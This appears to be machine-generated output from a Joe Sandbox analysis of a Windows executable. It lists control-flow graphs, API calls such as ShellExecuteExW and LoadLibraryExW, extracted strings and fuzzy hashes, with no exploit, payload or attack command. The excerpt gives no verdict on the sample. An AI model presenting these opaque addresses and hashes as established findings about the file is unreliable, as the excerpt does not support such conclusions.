7ff7b1dd592e-7ff7b1dd5940 1490->1512 1513 7ff7b1dd581e-7ff7b1dd584c call 7ff7b1dd8168 call 7ff7b1df11a4 1490->1513 1495 7ff7b1dd59e3-7ff7b1dd59e9 1491->1495 1496 7ff7b1dd59c5-7ff7b1dd59c9 1491->1496 1498 7ff7b1dd56ff-7ff7b1dd570a 1492->1498 1499 7ff7b1dd596d-7ff7b1dd5975 1492->1499 1507 7ff7b1dd59ef-7ff7b1dd5a0b call 7ff7b1df4088 1495->1507 1508 7ff7b1dd5a9d 1495->1508 1496->1495 1505 7ff7b1dd59cb-7ff7b1dd59d1 1496->1505 1551 7ff7b1dd56ac-7ff7b1dd56bb 1497->1551 1552 7ff7b1dd56ca 1497->1552 1498->1477 1504 7ff7b1dd5710-7ff7b1dd5719 1498->1504 1509 7ff7b1dd59ab 1499->1509 1510 7ff7b1dd5977-7ff7b1dd597b 1499->1510 1502->1481 1516 7ff7b1dd5afa-7ff7b1dd5afe 1503->1516 1504->1475 1505->1498 1517 7ff7b1dd59d7-7ff7b1dd59de 1505->1517 1540 7ff7b1dd5a4d 1507->1540 1541 7ff7b1dd5a0d-7ff7b1dd5a15 1507->1541 1521 7ff7b1dd5aa3-7ff7b1dd5aaf 1508->1521 1515 7ff7b1dd59b0-7ff7b1dd59b8 1509->1515 1522 7ff7b1dd59a4-7ff7b1dd59a9 1510->1522 1523 7ff7b1dd597d-7ff7b1dd5981 1510->1523 1512->1479 1513->1512 1564 7ff7b1dd5852-7ff7b1dd58e1 call 7ff7b1dd96d0 call 7ff7b1dd80f8 call 7ff7b1dd809c call 7ff7b1dd80f8 call 7ff7b1df11ec 1513->1564 1515->1491 1527 7ff7b1dd5b06-7ff7b1dd5b11 1516->1527 1528 7ff7b1dd5b00-7ff7b1dd5b04 1516->1528 1521->1474 1522->1515 1532 7ff7b1dd5983-7ff7b1dd5987 1523->1532 1533 7ff7b1dd599d-7ff7b1dd59a2 1523->1533 1525->1405 1526->1525 1527->1516 1536 7ff7b1dd5b13-7ff7b1dd5b1c 1527->1536 1528->1527 1528->1536 1542 7ff7b1dd5996-7ff7b1dd599b 1532->1542 1543 7ff7b1dd5989-7ff7b1dd598d 1532->1543 1533->1515 1536->1502 1549 7ff7b1dd5b1e-7ff7b1dd5b24 1536->1549 1548 7ff7b1dd5a53-7ff7b1dd5a9b call 7ff7b1df2884 call 7ff7b1dd5c30 1540->1548 1544 7ff7b1dd5a1a-7ff7b1dd5a1e 1541->1544 1542->1515 1543->1517 1545 7ff7b1dd598f-7ff7b1dd5994 1543->1545 1554 7ff7b1dd5a25-7ff7b1dd5a30 1544->1554 1555 7ff7b1dd5a20-7ff7b1dd5a23 1544->1555 1545->1515 1548->1521 1549->1502 1560 7ff7b1dd5b26 1549->1560 1551->1552 1553 7ff7b1dd56bd-7ff7b1dd56c8 1551->1553 1556 7ff7b1dd56ce-7ff7b1dd56d9 1552->1556 1553->1556 1554->1544 1562 7ff7b1dd5a32-7ff7b1dd5a3b 1554->1562 1555->1554 1555->1562 1556->1497 1563 7ff7b1dd56db-7ff7b1dd56e2 1556->1563 1560->1502 1562->1548 1568 7ff7b1dd5a3d-7ff7b1dd5a43 1562->1568 1569 7ff7b1dd56e4-7ff7b1dd56f6 call 7ff7b1dd80f8 1563->1569 1570 7ff7b1dd571e 1563->1570 1603 7ff7b1dd58e3-7ff7b1dd58f3 1564->1603 1604 7ff7b1dd58f7-7ff7b1dd590a 1564->1604 1568->1548 1573 7ff7b1dd5a45-7ff7b1dd5a4b 1568->1573 1578 7ff7b1dd56fb 1569->1578 1570->1490 1576 7ff7b1dd5724 1570->1576 1573->1548 1580 7ff7b1dd5729-7ff7b1dd5735 1576->1580 1578->1498 1582 7ff7b1dd573c-7ff7b1dd573f 1580->1582 1583 7ff7b1dd5737-7ff7b1dd573a 1580->1583 1582->1580 1583->1582 1585 7ff7b1dd5741-7ff7b1dd5748 1583->1585 1587 7ff7b1dd5771-7ff7b1dd577f 1585->1587 1588 7ff7b1dd574a-7ff7b1dd5754 1585->1588 1590 7ff7b1dd5785-7ff7b1dd57b0 call 7ff7b1dd96d0 1587->1590 1591 7ff7b1dd5c28-7ff7b1dd5c2f call 7ff7b1de9ae4 1587->1591 1589 7ff7b1dd5757-7ff7b1dd575b 1588->1589 1589->1587 1593 7ff7b1dd575d-7ff7b1dd576f 1589->1593 1600 7ff7b1dd57d6-7ff7b1dd5803 call 7ff7b1dd60c0 1590->1600 1601 7ff7b1dd57b2-7ff7b1dd57d1 call 7ff7b1df10f8 1590->1601 1593->1587 1593->1589 1600->1490 1601->1578 1603->1604 1607 7ff7b1dd5910-7ff7b1dd5916 1604->1607 1610 7ff7b1dd591f-7ff7b1dd5922 1607->1610 1611 7ff7b1dd5918-7ff7b1dd591d 1607->1611 1610->1607 1611->1610 1612 7ff7b1dd5924 1611->1612 1612->1512
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,00007FF7B1DD528A), ref: 00007FF7B1DD530B
                                                                                                                                                                      • Part of subcall function 00007FF7B1DD9404: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B1DD44A3), ref: 00007FF7B1DD9431
                                                                                                                                                                    • _snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B1DD57FE
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ByteCharFileModuleMultiNameWide_snwprintf
                                                                                                                                                                    • String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$|%}
                                                                                                                                                                    • API String ID: 2679931996-3382374273
                                                                                                                                                                    • Opcode ID: 15c51ccb81274a2a8975cdad711a7bf530791f86d93fdb1c5be2b5ccf24003a2
                                                                                                                                                                    • Instruction ID: 8f40501c1d1796109fdfea8b479f5c984b203b440e18858d1892074bde708284
                                                                                                                                                                    • Opcode Fuzzy Hash: 15c51ccb81274a2a8975cdad711a7bf530791f86d93fdb1c5be2b5ccf24003a2
                                                                                                                                                                    • Instruction Fuzzy Hash: B042BE22A1968294EB20EB28C4446F9A375FF2338CFC15135DB4D47A9DEFB9E645C360
                                                                                                                                                                    Function 00007FF7B1DE7858 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 99windowCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 3569833718-1550162156
                                                                                                                                                                    • Opcode ID: c858b7b174eac9beea2967423eff78e7a95d71771b06d736f21859ddeeb7e30f
                                                                                                                                                                    • Instruction ID: 1e6c34588fd16d4ac3e112e78c61de535e2de66456ff1b9cfe2a4d5176a90b64
                                                                                                                                                                    • Opcode Fuzzy Hash: c858b7b174eac9beea2967423eff78e7a95d71771b06d736f21859ddeeb7e30f
                                                                                                                                                                    • Instruction Fuzzy Hash: A541D331B1464286F710AF79E820BAE63A0EB56B8DF905135DE4E07B9DCEBDE405C760
                                                                                                                                                                    Function 00007FF7B1DE7C34 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 178COMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 1651 7ff7b1de7c34-7ff7b1de7c79 call 7ff7b1de9920 1654 7ff7b1de7c7f-7ff7b1de7c8d call 7ff7b1dee7d8 1651->1654 1655 7ff7b1de7ec2-7ff7b1de7ee7 call 7ff7b1de98e0 1651->1655 1654->1655 1660 7ff7b1de7c93-7ff7b1de7cdd call 7ff7b1dea940 1654->1660 1663 7ff7b1de7cdf 1660->1663 1664 7ff7b1de7d2e 1660->1664 1666 7ff7b1de7ce4-7ff7b1de7ce8 1663->1666 1665 7ff7b1de7d33-7ff7b1de7d36 1664->1665 1667 7ff7b1de7d3e-7ff7b1de7d41 1665->1667 1668 7ff7b1de7d38-7ff7b1de7d3c 1665->1668 1669 7ff7b1de7d05-7ff7b1de7d12 1666->1669 1670 7ff7b1de7cea 1666->1670 1673 7ff7b1de7d5b-7ff7b1de7d6d call 7ff7b1dd4304 1667->1673 1674 7ff7b1de7d43-7ff7b1de7d56 1667->1674 1668->1667 1668->1673 1671 7ff7b1de7ee8 1669->1671 1672 7ff7b1de7d18-7ff7b1de7d1c 1669->1672 1675 7ff7b1de7cf2-7ff7b1de7cfc 1670->1675 1677 7ff7b1de7eed-7ff7b1de7ef2 1671->1677 1676 7ff7b1de7d22-7ff7b1de7d2c 1672->1676 1672->1677 1683 7ff7b1de7d6f-7ff7b1de7d8d call 7ff7b1dd9878 1673->1683 1684 7ff7b1de7d92-7ff7b1de7d9e call 7ff7b1dd3120 1673->1684 1674->1673 1679 7ff7b1de7cec-7ff7b1de7cf0 1675->1679 1680 7ff7b1de7cfe 1675->1680 1676->1664 1676->1666 1677->1665 1679->1675 1682 7ff7b1de7d00 1679->1682 1680->1669 1682->1669 1683->1684 1689 7ff7b1de7da0-7ff7b1de7db8 call 7ff7b1dd3ff0 1684->1689 1690 7ff7b1de7dbd-7ff7b1de7dca ShellExecuteExW 1684->1690 1689->1690 1690->1655 1692 7ff7b1de7dd0-7ff7b1de7dda 1690->1692 1694 7ff7b1de7ddc-7ff7b1de7ddf 1692->1694 1695 7ff7b1de7dea-7ff7b1de7ded 1692->1695 1694->1695 1696 7ff7b1de7de1-7ff7b1de7de8 1694->1696 1697 7ff7b1de7def-7ff7b1de7dfa call 7ff7b1e48140 1695->1697 1698 7ff7b1de7e0a-7ff7b1de7e29 call 7ff7b1e48138 call 7ff7b1de8190 1695->1698 1696->1695 1699 7ff7b1de7e5f-7ff7b1de7e6c CloseHandle 1696->1699 1697->1698 1710 7ff7b1de7dfc-7ff7b1de7e07 ShowWindow 1697->1710 1698->1699 1715 7ff7b1de7e2b-7ff7b1de7e2e 1698->1715 1703 7ff7b1de7e81-7ff7b1de7e88 1699->1703 1704 7ff7b1de7e6e-7ff7b1de7e7f call 7ff7b1dd9878 1699->1704 1708 7ff7b1de7eaa-7ff7b1de7ead 1703->1708 1709 7ff7b1de7e8a-7ff7b1de7e8d 1703->1709 1704->1703 1704->1708 1708->1655 1714 7ff7b1de7eaf-7ff7b1de7eb2 1708->1714 1709->1708 1713 7ff7b1de7e8f-7ff7b1de7ea4 1709->1713 1710->1698 1713->1708 1714->1655 1716 7ff7b1de7eb4-7ff7b1de7ebc ShowWindow 1714->1716 1715->1699 1717 7ff7b1de7e30-7ff7b1de7e41 GetExitCodeProcess 1715->1717 1716->1655 1717->1699 1718 7ff7b1de7e43-7ff7b1de7e59 1717->1718 1718->1699
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell
                                                                                                                                                                    • String ID: .exe$.inf$Install$p$|%}
                                                                                                                                                                    • API String ID: 1828429325-1428210030
                                                                                                                                                                    • Opcode ID: 305ca70be6b33cf32ea0e45e225393cd92641b655afc5b24a116321abf008c87
                                                                                                                                                                    • Instruction ID: 8527dab6771f79b481a25b26e8cad785a7e1301640d788dd1ea48a562462d57f
                                                                                                                                                                    • Opcode Fuzzy Hash: 305ca70be6b33cf32ea0e45e225393cd92641b655afc5b24a116321abf008c87
                                                                                                                                                                    • Instruction Fuzzy Hash: EE714722A0864395FF68AB1DD451279B3A4EFA6B4DF844035DB4D4269CDFBDE840C760
                                                                                                                                                                    Function 00007FF7B1DD8C90 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80timeCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Time$File$System$Local$SpecificVersion
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 2092733347-1550162156
                                                                                                                                                                    • Opcode ID: f077b6d05eac841131ce339f4443a2304e56e2abf94e7793718b30ba6834b201
                                                                                                                                                                    • Instruction ID: 907d7b81f3090b67ec1d934e36b0c356d09571017a86a651635b4411c30d7c64
                                                                                                                                                                    • Opcode Fuzzy Hash: f077b6d05eac841131ce339f4443a2304e56e2abf94e7793718b30ba6834b201
                                                                                                                                                                    • Instruction Fuzzy Hash: B0313562B106518EEB14DFA9D8801AC7771FB2874CB94503AEF0E93A58EE78D995C320
                                                                                                                                                                    Function 00007FF7B1DD2420 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121filetimeCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 1729 7ff7b1dd2420-7ff7b1dd245c call 7ff7b1de9920 1732 7ff7b1dd245e-7ff7b1dd2462 1729->1732 1733 7ff7b1dd2469 1729->1733 1732->1733 1735 7ff7b1dd2464-7ff7b1dd2467 1732->1735 1734 7ff7b1dd246c-7ff7b1dd24e0 CreateFileW 1733->1734 1736 7ff7b1dd2540-7ff7b1dd2544 1734->1736 1737 7ff7b1dd24e2-7ff7b1dd24ff GetLastError call 7ff7b1dd44c8 1734->1737 1735->1734 1739 7ff7b1dd2549-7ff7b1dd254d 1736->1739 1743 7ff7b1dd2551 1737->1743 1744 7ff7b1dd2501-7ff7b1dd253e CreateFileW GetLastError 1737->1744 1741 7ff7b1dd2564-7ff7b1dd2568 1739->1741 1742 7ff7b1dd254f 1739->1742 1746 7ff7b1dd258e-7ff7b1dd25a2 1741->1746 1747 7ff7b1dd256a-7ff7b1dd256e 1741->1747 1745 7ff7b1dd2556-7ff7b1dd2558 1742->1745 1743->1745 1744->1739 1745->1741 1748 7ff7b1dd255a 1745->1748 1750 7ff7b1dd25a4-7ff7b1dd25ba call 7ff7b1dd8168 1746->1750 1751 7ff7b1dd25be-7ff7b1dd25e7 call 7ff7b1de98e0 1746->1751 1747->1746 1749 7ff7b1dd2570-7ff7b1dd2588 SetFileTime 1747->1749 1748->1741 1749->1746 1750->1751
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: File$CreateErrorLast$Time
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 1999340476-1550162156
                                                                                                                                                                    • Opcode ID: 3bbd8de99f0dfc51370835f580a6aee9a4f553259208b39ccc721594bc8a4348
                                                                                                                                                                    • Instruction ID: c80f5d94117c17e8643b96e9c3e4b251dd481803f222e3f9c2b54e068c9b88d9
                                                                                                                                                                    • Opcode Fuzzy Hash: 3bbd8de99f0dfc51370835f580a6aee9a4f553259208b39ccc721594bc8a4348
                                                                                                                                                                    • Instruction Fuzzy Hash: 89413972A0828146F7249B29D5157AAA761E752BBCF940338DF6E076CCCFBDD4448B10
                                                                                                                                                                    Function 00007FF7B1DF6534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 1756 7ff7b1df6534-7ff7b1df658a 1757 7ff7b1df66b5 1756->1757 1758 7ff7b1df6590-7ff7b1df6593 1756->1758 1759 7ff7b1df66b7-7ff7b1df66d3 1757->1759 1760 7ff7b1df6595-7ff7b1df6598 1758->1760 1761 7ff7b1df659d-7ff7b1df65a0 1758->1761 1760->1759 1762 7ff7b1df65a6-7ff7b1df65b4 1761->1762 1763 7ff7b1df6649 1761->1763 1764 7ff7b1df65b6-7ff7b1df65b9 1762->1764 1765 7ff7b1df65bd-7ff7b1df65dc LoadLibraryExW 1762->1765 1766 7ff7b1df664b-7ff7b1df664e 1763->1766 1769 7ff7b1df6635-7ff7b1df663c 1764->1769 1770 7ff7b1df65bb 1764->1770 1771 7ff7b1df65fe-7ff7b1df6608 1765->1771 1772 7ff7b1df65de-7ff7b1df65e7 GetLastError 1765->1772 1767 7ff7b1df6650-7ff7b1df665f GetProcAddress 1766->1767 1768 7ff7b1df669a-7ff7b1df66ad 1766->1768 1773 7ff7b1df6693 1767->1773 1774 7ff7b1df6661-7ff7b1df6688 1767->1774 1768->1757 1769->1762 1780 7ff7b1df6642 1769->1780 1775 7ff7b1df6630-7ff7b1df6633 1770->1775 1778 7ff7b1df660a-7ff7b1df6615 1771->1778 1779 7ff7b1df6617-7ff7b1df6625 1771->1779 1776 7ff7b1df65fc 1772->1776 1777 7ff7b1df65e9-7ff7b1df65fa LoadLibraryExW 1772->1777 1773->1768 1774->1759 1775->1769 1782 7ff7b1df668a-7ff7b1df6691 1775->1782 1776->1771 1777->1771 1778->1769 1779->1775 1781 7ff7b1df6627-7ff7b1df662a FreeLibrary 1779->1781 1780->1763 1781->1775 1782->1766
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AddressProc
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 190572456-1550162156
                                                                                                                                                                    • Opcode ID: db4c112d31413e39b3000df675efb9702124e3d2c8f94a740e964f46a0af5221
                                                                                                                                                                    • Instruction ID: 036f9a2f00950ad1e1276910bbb6bb99e9a48c741d010a0f094bab37a8e9398a
                                                                                                                                                                    • Opcode Fuzzy Hash: db4c112d31413e39b3000df675efb9702124e3d2c8f94a740e964f46a0af5221
                                                                                                                                                                    • Instruction Fuzzy Hash: 40413961B0A64281FB15AB1AA804575E395BF26BD8F894535DF1D4BB8CDFBCE6408320
                                                                                                                                                                    Function 00007FF7B1DEE3EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 1811 7ff7b1dee3ec-7ff7b1dee42a 1812 7ff7b1dee430-7ff7b1dee433 1811->1812 1813 7ff7b1dee51b 1811->1813 1814 7ff7b1dee51d-7ff7b1dee539 1812->1814 1815 7ff7b1dee439 1812->1815 1813->1814 1816 7ff7b1dee43c 1815->1816 1817 7ff7b1dee513 1816->1817 1818 7ff7b1dee442-7ff7b1dee451 1816->1818 1817->1813 1819 7ff7b1dee453-7ff7b1dee456 1818->1819 1820 7ff7b1dee45e-7ff7b1dee47d LoadLibraryExW 1818->1820 1821 7ff7b1dee4f5-7ff7b1dee504 GetProcAddress 1819->1821 1822 7ff7b1dee45c 1819->1822 1823 7ff7b1dee4d5-7ff7b1dee4ea 1820->1823 1824 7ff7b1dee47f-7ff7b1dee488 GetLastError 1820->1824 1821->1817 1826 7ff7b1dee506-7ff7b1dee511 1821->1826 1827 7ff7b1dee4c9-7ff7b1dee4d0 1822->1827 1823->1821 1825 7ff7b1dee4ec-7ff7b1dee4ef FreeLibrary 1823->1825 1828 7ff7b1dee48a-7ff7b1dee49f call 7ff7b1df1130 1824->1828 1829 7ff7b1dee4b7-7ff7b1dee4c1 1824->1829 1825->1821 1826->1814 1827->1816 1828->1829 1832 7ff7b1dee4a1-7ff7b1dee4b5 LoadLibraryExW 1828->1832 1829->1827 1832->1823 1832->1829
                                                                                                                                                                    APIs
                                                                                                                                                                    • LoadLibraryExW.KERNELBASE(?,?,00000000,00007FF7B1DEE5F3,?,?,?,00007FF7B1DEC35E,?,?,?,00007FF7B1DEC319), ref: 00007FF7B1DEE471
                                                                                                                                                                    • GetLastError.KERNEL32(?,?,00000000,00007FF7B1DEE5F3,?,?,?,00007FF7B1DEC35E,?,?,?,00007FF7B1DEC319), ref: 00007FF7B1DEE47F
                                                                                                                                                                    • LoadLibraryExW.KERNEL32(?,?,00000000,00007FF7B1DEE5F3,?,?,?,00007FF7B1DEC35E,?,?,?,00007FF7B1DEC319), ref: 00007FF7B1DEE4A9
                                                                                                                                                                    • FreeLibrary.KERNEL32(?,?,00000000,00007FF7B1DEE5F3,?,?,?,00007FF7B1DEC35E,?,?,?,00007FF7B1DEC319), ref: 00007FF7B1DEE4EF
                                                                                                                                                                    • GetProcAddress.KERNEL32(?,?,00000000,00007FF7B1DEE5F3,?,?,?,00007FF7B1DEC35E,?,?,?,00007FF7B1DEC319), ref: 00007FF7B1DEE4FB
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Library$Load$AddressErrorFreeLastProc
                                                                                                                                                                    • String ID: api-ms-
                                                                                                                                                                    • API String ID: 2559590344-2084034818
                                                                                                                                                                    • Opcode ID: 836dda5ebf99ea71ff7688ad91a938b64698afc5c00f0818a61eb0d3a198c856
                                                                                                                                                                    • Instruction ID: 42c80b6dc94a8138973f95248a5d1cfa8995d853860e7d562762dbc9627a4ab3
                                                                                                                                                                    • Opcode Fuzzy Hash: 836dda5ebf99ea71ff7688ad91a938b64698afc5c00f0818a61eb0d3a198c856
                                                                                                                                                                    • Instruction Fuzzy Hash: 2731FF22B19A52D1EF15BB0AA400574A394FF66B69FC58538DF1D4775CEF7CE4408320
                                                                                                                                                                    Function 00007FF7B1DF2EC4 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 96COMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

